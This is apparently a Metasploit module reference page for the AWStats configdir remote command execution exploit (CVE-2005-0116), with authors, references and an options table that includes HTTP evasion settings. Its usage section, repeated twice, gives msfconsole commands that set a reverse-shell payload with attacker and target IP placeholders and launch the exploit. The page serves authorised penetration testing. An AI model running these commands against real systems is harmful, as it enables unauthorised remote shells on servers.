AWStats configdir Remote Command Execution
This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2 are vulnerable.
Exploit Rank
- Excellent
Exploit Authors
- Matteo Cantoni < goony [at] nothink.org >
- hdm < hdm [at] metasploit.com >
Vulnerability References
- CVE-2005-0116
- OSVDB-13002
- BID-12298
- http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities
Exploit Targets
- 0 - Automatic (default)
Exploit Development
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Exploit Usage Information
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msf > use exploit/unix/webapp/awstats_configdir_exec
msf exploit(awstats_configdir_exec) > show payloads
msf exploit(awstats_configdir_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(awstats_configdir_exec) > set LHOST [MY IP ADDRESS]
msf exploit(awstats_configdir_exec) > set RHOST [TARGET IP]
msf exploit(awstats_configdir_exec) > exploit
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msf > use exploit/unix/webapp/awstats_configdir_exec
msf exploit(awstats_configdir_exec) > show payloads
msf exploit(awstats_configdir_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(awstats_configdir_exec) > set LHOST [MY IP ADDRESS]
msf exploit(awstats_configdir_exec) > set RHOST [TARGET IP]
msf exploit(awstats_configdir_exec) > exploit
Exploit Module Options
| Proxies | Use a proxy chain |
| RHOST | The target address |
| RPORT | The target port (default: 80) |
| URI | The full URI path to awstats.pl (default: /cgi-bin/awstats.pl) |
| VHOST | HTTP server virtual host |
| BasicAuthPass | The HTTP password to specify for basic authentication |
| BasicAuthUser | The HTTP username to specify for basic authentication |
| ContextInformationFile | The information file that contains context information |
| DOMAIN | The domain to use for windows authentification |
| DigestAuthIIS | Conform to IIS, should work for most servers. Only set to false for non-IIS servers |
| DigestAuthPassword | The HTTP password to specify for digest authentication |
| DigestAuthUser | The HTTP username to specify for digest authentication |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FingerprintCheck | Conduct a pre-exploit fingerprint verification |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| UserAgent | The User-Agent header to use for all requests |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::method_random_case | Use random casing for the HTTP method |
| HTTP::method_random_invalid | Use a random invalid, HTTP method for request |
| HTTP::method_random_valid | Use a random, but valid, HTTP method for request |
| HTTP::pad_fake_headers | Insert random, fake headers into the HTTP request |
| HTTP::pad_fake_headers_count | How many fake headers to insert into the HTTP request |
| HTTP::pad_get_params | Insert random, fake query string variables into the request |
| HTTP::pad_get_params_count | How many fake query string variables to insert into the request |
| HTTP::pad_method_uri_count | How many whitespace characters to use between the method and uri |
| HTTP::pad_method_uri_type | What type of whitespace to use between the method and uri (accepted: space, tab, apache) |
| HTTP::pad_post_params | Insert random, fake post variables into the request |
| HTTP::pad_post_params_count | How many fake post variables to insert into the request |
| HTTP::pad_uri_version_count | How many whitespace characters to use between the uri and version |
| HTTP::pad_uri_version_type | What type of whitespace to use between the uri and version (accepted: space, tab, apache) |
| HTTP::uri_dir_fake_relative | Insert fake relative directories into the uri |
| HTTP::uri_dir_self_reference | Insert self-referential directories into the uri |
| HTTP::uri_encode_mode | Enable URI encoding (accepted: none, hex-normal, hex-all, hex-random, u-normal, u-all, u-random) |
| HTTP::uri_fake_end | Add a fake end of URI (eg: /%20HTTP/1.0/../../) |
| HTTP::uri_fake_params_start | Add a fake start of params to the URI (eg: /%3fa=b/../) |
| HTTP::uri_full_url | Use the full URL for all HTTP requests |
| HTTP::uri_use_backslashes | Use back slashes instead of forward slashes in the uri |
